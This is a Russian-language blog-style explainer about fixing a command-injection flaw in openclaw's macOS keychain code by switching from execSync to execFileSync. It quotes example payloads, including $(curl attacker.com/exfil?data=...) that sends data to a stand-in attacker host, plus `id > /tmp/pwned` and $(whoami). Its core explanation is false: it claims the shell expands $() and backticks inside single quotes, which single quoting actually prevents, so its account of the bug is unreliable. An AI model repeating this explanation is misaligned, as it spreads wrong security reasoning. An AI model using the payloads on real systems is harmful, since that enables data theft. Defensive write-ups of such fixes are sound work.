Когда shell выполняет то, чего ты не просил

Когда shell не в курсе, что ты хочешь
Представь ситуацию: ты разработчик в openclaw, работаешь над безопасностью сохранения учётных данных в macOS. Всё казалось простым — берём OAuth-токен от пользователя, кладём его в системный keychain через команду security add-generic-password. Дело 10 минут, правда?
Но потом коллега задаёт вопрос, которого ты боялся: «А что, если токен содержит что-нибудь подозрительное?»
История одного $()
Задача была в проекте openclaw и относилась к критической — предотвращение shell injection. В коде использовался execSync, который вызывал команду security через интерпретатор оболочки. Разработчик защищал от экранирования одинарными кавычками, заменяя ' на '"'"'. Типичный трюк, правда?
Но вот беда: одинарные кавычки защищают от большинства вещей, но не от всего. Если пользователь присылает OAuth-токен вроде $(curl attacker.com/exfil?data=...) или использует обратные кавычки `id > /tmp/pwned`, shell обработает эту подстановку команд ещё до того, как начнёт интерпретировать кавычки. Command injection по классике — CWE-78, HIGH severity.
Представь масштаб: любой человек с правом выбрать поддельного OAuth-провайдера может выполнить произвольную команду с правами пользователя, на котором запущен gateway.
execFileSync вместо execSync
Решение было гениально простым: не передавать команду через shell вообще. Вместо execSync с интерпретатором разработчик выбрал execFileSync — функция, которая запускает программу напрямую, минуя /bin/sh. Аргументы передаются массивом, а не строкой.
Вместо:
execSync(`security add-generic-password -U -s "..." -a "..." -w '${токен}'`)
Теперь:
execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", tokenValue])
Красота в том, что OS сама разбирает границы аргументов — никакого shell, никакого интерпретирования метасимволов, токен остаётся просто токеном.
Маленький факт о системной безопасности
Знаешь, в системах Unix уже десятилетия говорят: не используй shell для запуска программ, если не нужна shell. Но почему-то разработчики снова и снова создают уязвимости через execSync с конкатенацией строк. Это как баг-батарея, которая никогда не кончается.
Итого
Pull request #15924 закрыл уязвимость в момент, когда она была обнаружена. Проект openclaw получил более безопасный способ работы с учётными данными, и никакой $(whoami) в OAuth-токене больше не сломает систему. Разработчик выучил (или вспомнил) важный урок: функции типа execFileSync, subprocess.run с shell=False или Go’s os/exec — это не просто удобство, это основа безопасности.
Главное? Всегда думай о том, как интерпретируется твоя команда. Shell — могущественная штука, но она должна быть твоим последним выбором, когда нужна подстановка, а не просто запуск программы.
😄 Совет дня: если ты вставляешь пользовательские данные в shell-команду, то ты уже потерял игру — выбери другой API.
Метаданные
- Branch:
- main
- Dev Joke
- Совет дня: перед тем как обновить .NET, сделай бэкап. И резюме.